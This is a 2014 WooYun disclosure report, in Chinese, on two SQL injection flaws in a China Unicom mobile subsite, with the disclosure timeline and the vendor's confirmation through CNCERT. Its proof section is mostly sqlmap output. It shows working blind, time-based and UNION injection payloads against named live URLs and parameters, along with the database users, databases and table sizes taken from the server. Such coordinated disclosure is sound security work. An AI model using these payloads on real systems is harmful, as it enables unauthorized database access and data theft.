当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070204

漏洞标题:中国联通某分站SQL注入漏洞

相关厂商:中国联通

漏洞作者: Manning

提交时间:2014-07-30 12:00

修复时间:2014-09-13 12:02

公开时间:2014-09-13 12:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-30: 细节已通知厂商并且等待厂商处理中
2014-08-04: 厂商已经确认,细节仅向厂商公开
2014-08-14: 细节向核心白帽子及相关领域专家公开
2014-08-24: 细节向普通白帽子公开
2014-09-03: 细节向实习白帽子公开
2014-09-13: 细节向公众公开

简要描述:

联通某手机应用

详细说明:

此站点有2个漏洞一并汇报均为root权限
注入点1为post类型
http://3g.169ol.com/wdfsearch.psml data:level=0-%E5%85%A8%E9%83%A8&search=1
注入点2为get型
http://3g.169ol.com/spbrief.psml?sp_parentcode=06

漏洞证明:

http://3g.169ol.com/wdfsearch.psml
证明

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: search
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: level=0-%E5%85%A8%E9%83%A8&search=1%' AND 8525=8525 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: level=0-%E5%85%A8%E9%83%A8&search=1%' AND SLEEP(5) AND '%'='
---
[20:58:06] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, JSP
back-end DBMS: MySQL 5.0.11
[20:58:06] [INFO] fetching database users
[20:58:06] [INFO] fetching number of database users
[20:58:06] [INFO] resumed: 6
[20:58:06] [INFO] resumed: 'root'@'localhost'
[20:58:06] [INFO] resumed: 'root'@'sc200'
[20:58:06] [INFO] resumed: 'root'@'127.0.0.1'
[20:58:06] [INFO] resumed: 'debian-sys-maint'@'localhost'
[20:58:06] [INFO] resumed: 'back201'@'192.168.50.201'
[20:58:06] [INFO] resumed: 'root'@'%'
database management system users [6]:
[*] 'back201'@'192.168.50.201'
[*] 'debian-sys-maint'@'localhost'
[*] 'root'@'%'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'sc200'
[20:58:06] [INFO] fetching database names
[20:58:06] [INFO] fetching number of databases
[20:58:06] [INFO] resumed: 4
[20:58:06] [INFO] resumed: information_schema
[20:58:06] [INFO] resumed: mysql
[20:58:06] [INFO] resumed: scportal
[20:58:06] [INFO] resumed: test
available databases [4]:
[*] information_schema
[*] mysql
[*] scportal
[*] test


QQ截图20140729205854.png


---
Place: GET
Parameter: sp_parentcode
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sp_parentcode=06' AND 2579=2579 AND 'eGbT'='eGbT
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: sp_parentcode=06' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NU
LL,CONCAT(0x716f717371,0x614d59777963436a754e,0x71626d6371),NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: sp_parentcode=06' AND SLEEP(5) AND 'SaMU'='SaMU
---
[20:52:01] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, JSP
back-end DBMS: MySQL 5.0.11
[20:52:01] [INFO] fetching database names
available databases [4]:
[*] information_schema
[*] mysql
[*] scportal
[*] test
[20:52:01] [WARNING] missing table parameter, sqlmap will retrieve the number of
entries for all database management system databases' tables
[20:52:01] [INFO] fetching tables for databases: 'information_schema, mysql, scp
ortal, test'
[20:52:01] [WARNING] reflective value(s) found and filtering out
Database: test
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| test | 1 |
+---------------------------------------+---------+
Database: scportal
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| zjdl | 48612 |
| sichuantongji | 13094 |


QQ截图20140729205955.png

修复方案:

过滤参数

版权声明:转载请注明来源 Manning@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-04 09:54

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT直接通报中国联通集团公司处置。

最新状态:

暂无